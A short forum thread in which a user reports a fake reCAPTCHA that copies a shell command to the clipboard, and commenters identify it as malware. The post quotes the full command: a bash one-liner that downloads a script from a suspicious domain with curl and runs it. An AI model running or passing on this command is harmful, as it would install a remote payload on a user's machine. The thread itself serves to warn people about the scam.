reCAPTCHA-like verification now requires you to run curl – bash

So seeing this instead of clicking the crosswalks, bikes and bridges - https://www.dropbox.com/scl/fi/e3rciwgabeayttooee0hm/Screenshot-2026-08-04-at-5.36.37-pm.png?rlkey=h8egs48o40fxbzze749mkljym&dl=0

and this is what it copied to the clipboard

/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL '5nqsi0h6.hectortm-plumbing.com/?ublib=fbaf690f-76c6-4673-972b-60c0a6412ec5')"; echo ""BotGuard: Answer the protector challenge. Ref: 73282

unsure if that's true recaptcha or some lookalike and too lazy to dig in

Flagged.

That is obviously a trojan / worm. The domain is a clear give away as well as the fake reCAPTCHA.

Why would Google expect users to open up a terminal and paste a link that runs a script on the user's machine?